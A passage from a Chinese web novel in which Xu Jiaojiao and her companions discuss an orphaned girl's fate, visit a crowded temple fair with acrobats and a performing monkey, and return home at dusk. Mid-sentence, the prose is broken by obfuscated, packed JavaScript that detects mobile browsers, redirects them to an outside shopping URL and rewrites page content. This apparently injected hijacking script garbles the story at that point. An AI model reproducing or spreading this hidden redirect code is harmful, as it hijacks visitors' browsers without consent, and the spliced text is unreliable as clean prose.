刘寡妇摇摇头:“这就不清楚了。崔旺不是本地人,在这边也没什么根基。他那个干爹崔使相,倒是大名鼎鼎,可人家是大人物,哪里会管这种小事。想来是别的什么亲戚吧。” 静尘轻叹一声:“只要那巧娘有人养着,总比流落街头强。” 刘寡妇连连点头:“可不是嘛!那丫头才十三四,要是没人管,这年都过不去。如今有人接走,好歹有个去处。虽说崔家犯了事,可那丫头又没做什么伤天害理的事,不该让她来受这个罪。” 是啊。许娇娇在心里默默应了一句。 大人有罪,孩子无辜。崔娘子该死,崔旺也死得不冤,可巧娘什么都没做。她不过是投错了胎,生在了那样的人家。若因此就要她承受父母造的孽,那这世道,也太不公平了。 静心在一旁眨着眼睛,小声问:“娇杏,你说那个‘阿叔’,会好好待她吗?” 许娇娇沉默片刻,才道:“但愿吧。” 刘寡妇在一旁接话:“我看那男子像个厚道人。再说,他若真想害那丫头,何必大费周章去接她?让她自生自灭就是了。既然肯接,想来不会亏待。” 话说得在理。许娇娇点点头,不再多想。 一行人继续往前走。走出几步,她又回头看了一眼那扇紧闭的门。 门上的封条在风里轻轻晃动,像是无声的叹息。 她收回目光,望着前方渐渐热闹起来的街市,心里那点沉甸甸的东西,慢慢散开了。 巧娘有了去处,茴香也跟着去了。两个半大孩子,总算没有流落街头。 这已经是她能想到的最好的结局了。 “许娘子,”刘寡妇在一旁问,“你们今儿打算逛到什么时候?晌午要不要一起吃饭?我听说街口有家卖馄饨的,味道极好。” 许娇娇回过神,笑道:“好啊,正好饿了。” 静心一听有馄饨吃,眼睛都亮了:“馄饨馄饨!我要吃大碗的!” 虎子也仰着头,眼巴巴地看着刘寡妇:“阿娘,我也想吃馄饨。” 刘寡妇笑着捏捏他的脸:“好好好,都吃都吃。” 一行人说说笑笑,往庙会走去。 越往府学街走,人越多。到了街口,简直是人山人海,摩肩接踵。叫卖声、吆喝声、笑闹声混成一片,震得人耳朵嗡嗡响。空气里弥漫着各种气味,有炒货的香,有炸糕的油,有糖葫芦的甜,还有烤羊肉串的膻,混在一起,竟也不难闻。 静心眼睛都亮了,拉着许娇娇就往里挤:“走,咱们去那边看看!那边有杂耍!” 许娇娇被她拽着,身不由己地往人群里挤。静尘在后面跟着,嘴里叮嘱着“慢些,别挤散了”,却也被人群裹着往前走。刘寡妇牵着虎子,不紧不慢地跟在后面,嘴里念叨着“慢点慢点,别摔着”。 杂耍的场子设在街心的一处空地上,里三层外三层围满了人。静心个子小,踮起脚尖也看不见,急得直跳。许娇娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418152|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着她往前挤,好不容易挤到前面,已经出了一身薄汗。 场中正表演着喷火。 一个光着膀子的壮汉,手里举着一根火把,深吸一口气,对着火把猛地一吹。一股烈焰从他嘴里喷出,足有三尺长,映得周围的人脸都红了。 人群爆发出喝彩声,有人往场中扔铜钱,叮叮当当落了一地。 静心看得目瞪口呆,嘴巴张得老大,半晌才憋出一句:“这……这不会烧着嘴吗?” 旁边一个老汉听见了,哈哈笑道:“小姑娘,这是练出来的功夫,烧不着,烧不着。” 静心将信将疑,眼睛却一眨不眨地盯着场中。 接下来是吞剑。 另一个瘦高的汉子拿出一柄长剑,剑身寒光闪闪,足有两尺长。他仰起头,将剑尖慢慢插入口中,一寸,两寸,三寸……竟真的把整柄剑吞了进去,只留剑柄在外。 人群又是一阵惊呼,静心紧紧攥着许娇娇的手,手指都掐进肉里。虎子也看得呆了,小嘴张得圆圆的,连手里的风车掉了都不知道。 刘寡妇捡起风车,笑骂:“看把你吓得。” 最后上场的是个猴子。 那猴子穿着红褂子,戴着瓜皮小帽,在场上翻跟头、作揖、推小车,一招一式都有模有样,逗得人哈哈大笑。有个孩子往场中扔了颗花生,那猴子捡起来,剥了壳吃了,又冲着那孩子作了个揖,把一众人逗得更乐了。 静心也忘了害怕,笑得前仰后合,学着那猴子的样子,冲许娇娇作了个揖。 许娇娇笑骂:“没规矩。” 虎子也被逗笑了,扯着刘寡妇的袖子:“阿娘阿娘,那猴子好厉害!” 看完杂耍,一行人又去逛了其他摊子。买了糖人、买了风车、买了绢花、买了香囊。静心恨不得把整条街都搬回家去,若不是静尘拦着,她能把兜里的压岁钱都花光。虎子也得了根糖葫芦,吃得满嘴都是糖渍,小脸笑得跟花似的。 日头渐渐升高,快到午时了。许娇娇肚子有些饿,便提议去街口那家馄饨摊。 一行人到了馄饨摊,找了个位置坐下。那摊子虽简陋,馄饨却是一等一的好吃。皮薄馅大,汤鲜味美,一碗下去,整个人都暖了。 虎子吃得头都不抬,小嘴鼓鼓囊囊的,看得刘寡妇直笑:“慢点慢点,没人跟你抢。” 静心也吃得欢,边吃边含糊不清地说:“好吃……真好吃……” 许娇娇夹起一个馄饨,放进嘴里。鲜美的汤汁在舌尖化开,暖意从喉咙一直蔓延到心里。 她忽然想起阿爹医案里的那句话:医者仁心,济世为怀。 仁心不只是对病人,对世间万物,都该有一分悲悯。 巧娘有人养着,她便不必再挂念了。 吃完馄饨,一行人又逛了一会儿,直到日头偏西,才意犹未尽地往回走。 回到柳枝巷时,天色已经暗了下来。刘寡妇牵着虎子回了自家院子,虎子回头冲她们摆手:“姐姐们再见!” 静心也冲他摆手:“虎子再见!” 院门关上,巷子里安静下来。 许娇娇站在院子里,望着渐渐暗下来的天空,长长地舒了一口气。 静尘走到她身边,轻声道:“还在想那个孩子?” 许娇娇摇摇头,又点点头:“想过了。如今不想了。” 静尘看着她,目光里带着几分温柔。 静心从屋里探出头来:“娇杏,师姐,进来吃饭啦!我买了庙会上那个酱肘子,热一热就能吃!” 许娇娇应了一声,转身往屋里走。 走了两步,她又回头看了一眼巷口的方向。 那里空荡荡的,只有暮色沉沉。 她笑了笑,收回目光,走进了那一片温暖的灯光里。 身后,院子里的那株月季还在开着,几朵粉色的花在暮色中轻轻摇曳。旺财趴在窝边,眯着眼睛打盹,偶尔动动耳朵,又继续睡去。 远处,隐约传来几声鞭炮响,是有人在送穷土。 破五过了,年就算过完了。